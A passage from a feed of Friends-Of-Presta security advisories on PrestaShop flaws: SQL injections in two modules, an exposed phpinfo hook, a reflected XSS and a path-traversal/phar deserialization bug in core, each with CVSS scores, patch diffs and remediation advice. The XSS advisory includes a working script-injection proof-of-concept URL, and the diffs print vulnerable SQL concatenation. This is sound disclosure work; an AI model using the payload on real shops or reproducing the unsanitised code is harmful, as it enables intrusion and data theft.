<p>Methods <code class="language-plaintext highlighter-rouge">OpartSaveCartDefaultModuleFrontController::initContent()</code> and <code class="language-plaintext highlighter-rouge">OpartSaveCartDefaultModuleFrontController::displayAjaxSendCartByEmail()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-207">Patch from 2.0.7</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.0.7/modules/opartsavecart/controllers/front/default.php
</span><span class="gi">+++ 2.0.8/modules/opartsavecart/controllers/front/default.php
</span><span class="err">...</span>
                     } else {
                         $idCart = Tools::getValue('opartCartId');
<span class="gd">-                        $sql = "DELETE FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE id_cart=" . $idCart . " AND id_customer=" . $idCustomer;
</span><span class="gi">+                        $sql = "DELETE FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE id_cart=" . (int)$idCart . " AND id_customer=" . (int)$idCustomer;
</span>                         Db::getInstance()-&gt;execute($sql);
<span class="err">...</span>
                         //check if cart exist for this customer
                         if (Tools::getIsset('opartCartId') &amp;&amp; Tools::getValue('opartCartId')) {
                             $idCart = Tools::getValue('opartCartId');
<span class="gd">-                            $sql = "SELECT * FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE id_customer=" . $idCustomer . " AND id_cart=" . $idCart;
</span><span class="gi">+                            $sql = "SELECT * FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE id_customer=" . (int)$idCustomer . " AND id_cart=" . (int)$idCart;
</span>                         } else if (Tools::getIsset('token') &amp;&amp; Tools::getValue('token')) {
                             $token = Tools::getValue('token');
<span class="gd">-                            $sql = "SELECT * FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE token = '" . $token . "'";
</span><span class="gi">+                            $sql = "SELECT * FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE token = '" . pSQL($token) . "'";
</span>                         }
<span class="err">...</span>

             if (Validate::isEmail($email)) {
<span class="gd">-                $sql = "SELECT * FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE token = '" . $token . "'";
</span><span class="gi">+                $sql = "SELECT * FROM `" . _DB_PREFIX_ . "opartsavecart` WHERE token = '" . pSQL($token) . "'";
</span>                 $result = Db::getInstance()-&gt;getRow($sql);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>opartsavecart</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-23</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-23</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-05-23</td>
      <td>Author confirms versions scope</td>
    </tr>
    <tr>
      <td>2023-05-24</td>
      <td>Request CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-09-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Opart thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/20-sauvegarde-partage-lien-panier.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-34575">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Opart&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opart Save Cart” (opartsavecart) up to version 2.0.7 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-39675] Improper neutralization of a SQL parameter in simpleimportproduct from MyPrestaModules module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/09/19/simpleimportproduct.html" rel="alternate" type="text/html" title="[CVE-2023-39675] Improper neutralization of a SQL parameter in simpleimportproduct from MyPrestaModules module for PrestaShop" /><published>2023-09-19T00:00:00+00:00</published><updated>2023-09-19T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/19/simpleimportproduct</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/19/simpleimportproduct.html"><![CDATA[<p>In the module “SimpleImportProduct “ (simpleimportproduct) for PrestaShop, an attacker can perform SQL injection.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39675">CVE-2023-39675</a></li>
  <li><strong>Published at</strong>: 2023-09-07</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: simpleimportproduct</li>
  <li><strong>Impacted release</strong>:</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before 0.2.1, sensitive SQL calls in file <code class="language-plaintext highlighter-rouge">send.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection through the POST or GET submitted <code class="language-plaintext highlighter-rouge">key</code> variables.
A patch was released in august 2023.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitive tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/simpleimportproduct/send.php
</span><span class="gi">+++ b/modules/simpleimportproduct/send.php
</span>          $key = Tools::getValue('key');
          $key = pSQL($key);
<span class="gd">-         Db::getInstance()-&gt;delete('simpleimport_tasks', "import_settings=$key");
</span><span class="gi">+         Db::getInstance()-&gt;delete('simpleimport_tasks', "import_settings='".$key."'");
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-10</td>
      <td>Vulnerability found during an audit by sorcery.ie</td>
    </tr>
    <tr>
      <td>2023-08-28</td>
      <td>CVE-2023-39675 assigned</td>
    </tr>
    <tr>
      <td>2023-09-07</td>
      <td>Blog post released by <a href="https://blog.sorcery.ie/posts/simpleimportproduct_sqli/">sorcery.ie</a></td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://blog.sorcery.ie/posts/simpleimportproduct_sqli/">Blog post</a></li>
  <li><a href="https://myprestamodules.com/">Author page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39675">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;sorcery.ie&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SimpleImportProduct “ (simpleimportproduct) for PrestaShop, an attacker can perform SQL injection.]]></summary></entry><entry><title type="html">[CVE-2023-39677] PHPInfo Exposure in MyPrestaModules SimpleImportProduct and UpdateProducts Modules</title><link href="https://security.friendsofpresta.org/modules/2023/09/08/simpleimportproduct-updateproducts.html" rel="alternate" type="text/html" title="[CVE-2023-39677] PHPInfo Exposure in MyPrestaModules SimpleImportProduct and UpdateProducts Modules" /><published>2023-09-08T00:00:00+00:00</published><updated>2023-09-08T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/08/simpleimportproduct-updateproducts</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/08/simpleimportproduct-updateproducts.html"><![CDATA[<p>MyPrestaModules SimpleImportProduct Prestashop Module v6.2.9 and UpdateProducts Prestashop Module v3.6.9 were discovered to contain a PHPInfo information disclosure vulnerability via send.php.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39677">CVE-2023-39677</a></li>
  <li><strong>Published at</strong>: 2023-09-07</li>
  <li><strong>Discovery credit</strong>: <a href="https://sorcery.ie/">Sorcery</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: SimpleImportProduct / UpdateProducts</li>
  <li><strong>Impacted release</strong>: &lt; 6.4.0 / &lt; v3.8.1</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/200.html">CWE-200</a></li>
  <li><strong>Severity</strong>: medium (5.3)</li>
</ul>

<h2 id="description">Description</h2>

<p>Two modules that we tested by MyPrestaModules have a vulnerability where PHPInfo is exposed to an unauthenticated attacker. The modules SimpleImportProduct and UpdateProducts contain a file called send.php that has the following code snippet:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span> <span class="nc">Tools</span><span class="o">::</span><span class="nf">getValue</span><span class="p">(</span><span class="s1">'phpinfo'</span><span class="p">)</span> <span class="p">){</span>  
  <span class="nb">phpinfo</span><span class="p">();</span>  
  <span class="k">die</span><span class="p">;</span>  
<span class="p">}</span>
</code></pre></div></div>

<p>This exposes PHPInfo information <strong>which could be a little</strong> [EDIT FOP] useful to an attacker and it requires no authentication to exploit. This was reported to MyPrestaModules and a patch was released.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></p>

<h2 id="patch">Patch</h2>

<h3 id="simpleimportproduct">simpleimportproduct</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/simpleimportproduct/send.php
</span><span class="gi">+++ b/modules/simpleimportproduct/send.php
</span><span class="p">@@ -9,5 +8,0 @@</span> include(dirname(__FILE__).'/../../config/config.inc.php');
<span class="gd">-if ( Tools::getValue('phpinfo') ){
-  phpinfo();
-  die;
-}
</span></code></pre></div></div>

<h3 id="updateproducts">updateproducts</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/updateproducts/send.php
</span><span class="gi">+++ b/modules/updateproducts/send.php
</span><span class="p">@@ -9,5 +8,0 @@</span> include(dirname(__FILE__).'/../../config/config.inc.php');
<span class="gd">-if ( Tools::getValue('phpinfo') ){
-  phpinfo();
-  die;
-}
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade the simpleimportproduct module to 6.4.0+</li>
  <li>Upgrade the UpdateProducts module to 3.8.1+</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>10/07/2023</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>12/07/2023</td>
      <td>Reported issue to MyPrestaModules</td>
    </tr>
    <tr>
      <td>29/07/2023</td>
      <td>Requested CVE from MITRE</td>
    </tr>
    <tr>
      <td>??/08/2023</td>
      <td>Patch released</td>
    </tr>
    <tr>
      <td>28/08/2023</td>
      <td>Number CVE-2023-39677 assigned</td>
    </tr>
    <tr>
      <td>07/09/2023</td>
      <td>Blog post and nuclei template released</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://blog.sorcery.ie/posts/myprestamodules_phpinfo/">References</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39677">National Vulnerability Database</a></li>
  <li><a href="https://myprestamodules.com/">Editor</a></li>
</ul>]]></content><author><name>[&quot;Sorcery Ltd&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[MyPrestaModules SimpleImportProduct Prestashop Module v6.2.9 and UpdateProducts Prestashop Module v3.6.9 were discovered to contain a PHPInfo information disclosure vulnerability via send.php.]]></summary></entry><entry><title type="html">[CVE-2023-39676] XSS in FieldPopupNewsletter Prestashop Module</title><link href="https://security.friendsofpresta.org/modules/2023/09/07/fieldpopupnewsletter.html" rel="alternate" type="text/html" title="[CVE-2023-39676] XSS in FieldPopupNewsletter Prestashop Module" /><published>2023-09-07T00:00:00+00:00</published><updated>2023-09-07T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/09/07/fieldpopupnewsletter</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/09/07/fieldpopupnewsletter.html"><![CDATA[<p>An XSS was found within the FieldPopupNewsletter module, developed by <a href="https://themeforest.net/user/fieldthemes">FieldThemes</a>, for the popular ecommerce platform Prestashop.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39676">CVE-2023-39676</a></li>
  <li><strong>Published at</strong>: 2023-09-07</li>
  <li><strong>Discovery credit</strong>: <a href="https://sorcery.ie/">Sorcery</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: fieldpopupnewsletter</li>
  <li><strong>Impacted release</strong>: &lt; 1.0.1 ?</li>
  <li><strong>Product author</strong>: <a href="https://themeforest.net/user/fieldthemes">FieldThemes</a></li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: medium (6.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>The module contains a file called ajax.php with the following code:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ppp</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FieldPopupNewsletter</span><span class="p">();</span>
<span class="k">echo</span> <span class="nv">$ppp</span><span class="o">-&gt;</span><span class="nf">newsletterRegistration</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]);</span>
</code></pre></div></div>

<p>The newsletterRegistration function, called by the ajax.php file, contains code that lacks proper input validation:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">newsletterRegistration</span><span class="p">(</span><span class="nv">$email</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$email</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="nc">Validate</span><span class="o">::</span><span class="nf">isEmail</span><span class="p">(</span><span class="nv">$email</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'callback'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'('</span> <span class="mf">.</span> <span class="nb">json_encode</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'&lt;p class="alert alert-danger"&gt;'</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">l</span><span class="p">(</span><span class="s1">'Invalid email address.'</span><span class="p">)</span> <span class="mf">.</span> <span class="s1">'&lt;/p&gt;'</span><span class="p">))</span> <span class="mf">.</span> <span class="s1">')'</span><span class="p">;</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>The callback GET parameter is printed to the page without sanitization which makes it susceptible to XSS. One might think the fact a POST parameter is used might mitigate this vulnerability but closer reading reveals this works when <code class="language-plaintext highlighter-rouge">$_POST['email']</code> isn’t set.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: Required</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: low</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N</a></p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>As a demonstration of the vulnerability, an attacker can craft a malicious URL, like the one shown below, to execute arbitrary JavaScript code on the target user’s browser:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(0)%3C/script%3E
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/fieldpopupnewsletter/fieldpopupnewsletter.php
</span><span class="gi">+++ b/modules/fieldpopupnewsletter/fieldpopupnewsletter.php
</span><span class="p">@@ -684,0 +685,3 @@</span> class FieldPopupNewsletter extends Module
<span class="gi">+               if (isset($_GET['callback']) &amp;&amp; !Validate::isCleanHtml($_GET['callback'])) {
+                       return;
+               }
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<p>XSS vulnerabilities are serious security risks that can lead to unauthorized access, data theft, and other malicious activities. In the case of the FieldPopupNewsletter module, a lack of input validation exposes users to potential attacks.</p>

<p>We strongly advise users of this module to update to the latest patched version, which should address the XSS vulnerability.</p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>10/07/2023</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>12/07/2023</td>
      <td>Reported issue to FieldThemes</td>
    </tr>
    <tr>
      <td>29/07/2023</td>
      <td>Requested CVE from MITRE</td>
    </tr>
    <tr>
      <td>28/08/2023</td>
      <td>Number CVE-2023-39676 assigned</td>
    </tr>
    <tr>
      <td>31/08/2023</td>
      <td>Patch released</td>
    </tr>
    <tr>
      <td>07/09/2023</td>
      <td>Blog post and <a href="https://github.com/projectdiscovery/nuclei-templates/pull/8173">nuclei template</a> released</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://blog.sorcery.ie/posts/fieldpopupnewsletter_xss/">References</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39676">National Vulnerability Database</a></li>
  <li><a href="https://themeforest.net/user/fieldthemes">Editor</a></li>
</ul>]]></content><author><name>[&quot;Sorcery Ltd&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[An XSS was found within the FieldPopupNewsletter module, developed by FieldThemes, for the popular ecommerce platform Prestashop.]]></summary></entry><entry><title type="html">[CVE-2023-39528] Reading a file through path traversal &amp;amp; Remote Code Execution via unsafe deserialization</title><link href="https://security.friendsofpresta.org/core/2023/09/06/core-CVE-2023-39528.html" rel="alternate" type="text/html" title="[CVE-2023-39528] Reading a file through path traversal &amp;amp; Remote Code Execution via unsafe deserialization" /><published>2023-09-06T00:00:00+00:00</published><updated>2023-09-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/09/06/core-CVE-2023-39528</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/09/06/core-CVE-2023-39528.html"><![CDATA[<p>Initialy flagged as path traversal with a medium severity, the work of Friends Of Presta Security team proven the ability to use this vulnerability to implicity deserialize a malicious load (critical severity).</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39528">CVE-2023-39528</a></li>
  <li><strong>Published at</strong>: 2023-08-07</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-hpf4-v7v2-95p2">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &lt;= 8.1.0 (Patched versions 8.1.1)</li>
  <li><strong>Weakness</strong>: <a href="https://www.cvedetails.com/cwe-details/22/cwe.html">CWE-22</a> and <a href="https://www.cvedetails.com/cwe-details/502/cwe.html">CWE-502</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p><code class="language-plaintext highlighter-rouge">displayAjaxEmailHTML</code> method can be used to read any file on the server, potentially even outside of the project if the server is not correctly configured.</p>

<p>Moreover, any wrapper like https, ftp, phar, … can be exploited to forge a SSRF (server side request forgery). The ability to use <code class="language-plaintext highlighter-rouge">phar://</code> can be exploited to forge an unserialization 
as proven in our <a href="https://security.friendsofpresta.org/research/2023/09/04/deserialization-untrusted-data-CWE-502-part2.html">security research advisory “Exploring the perils of implicit deserialization of a phar in PrestaShop (part 2)”</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: high</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>Mailicious usage in PrestaShop via commons libraries are :</p>
<ul>
  <li>remote code execution (RCE) to put a webshell</li>
  <li>Server Side Request Forgery (SSRF) to agress other website with a clean IP,</li>
  <li>File Deletion (FD) to remove an htaccess and expose logs or sensitive data,</li>
  <li>File Writer (WF) to put a webshell</li>
  <li>Files read reader (RF) to read sensitive data like mysql password,</li>
  <li>SQL injections (SQLi),</li>
  <li>Technical data leaks (Info).</li>
</ul>

<p>See also: “<a href="https://security.friendsofpresta.org/research/2023/08/28/deserialization-untrusted-data-CWE-502-part1.html#malicious-usage-through-prestashop-dependencies">Exploring the perils of unsafe unserialize() in PrestaShop (part 1)</a>”</p>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/admin/AdminTranslationsController.php
</span><span class="gi">+++ b/controllers/admin/AdminTranslationsController.php
</span><span class="p">@@ -3296,7 +3296,7 @@</span> public static function getEmailHTML($email)
             $email_file = _PS_ROOT_DIR_ . $email;
         }
 
<span class="gd">-        if (file_exists($email_file)) {
</span><span class="gi">+        if (strpos(realpath($email_file), _PS_ROOT_DIR_) === 0 &amp;&amp; file_exists($email_file)) {
</span>             $email_html = file_get_contents($email_file);
         } else {
             $email_html = '';
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<p>Phar wrapper cannot be disabled via a php.ini settings.</p>

<p>As a developer:</p>
<ul>
  <li>A strict validation of input data is absolutely essential !</li>
  <li>Use <code class="language-plaintext highlighter-rouge">basename()</code> PHP method to prevent path traversal <code class="language-plaintext highlighter-rouge">getimagesize(basename($_GET['param']))</code> and unwanted use of wrapper such as <code class="language-plaintext highlighter-rouge">phar://</code></li>
  <li>Use GD library to remove dummy serialized data on an image.</li>
</ul>

<p>As an adminsys</p>
<ul>
  <li>Set your firewall with <a href="https://github.com/coreruleset/coreruleset/blob/e36f27e1429a841e91996f4a521d40c996ec74eb/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf#L213">OWASP rules to filter “phar://”</a></li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-hpf4-v7v2-95p2">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/11de3a84322fa4ecd0995ac40d575db61804724c.patch">Patch</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39528">National Vulnerability Database</a></li>
  <li><a href="https://security.friendsofpresta.org/research/2023/09/04/deserialization-untrusted-data-CWE-502-part2.html">Exploring the perils of implicit deserialization of a phar in PrestaShop (part 2)</a></li>
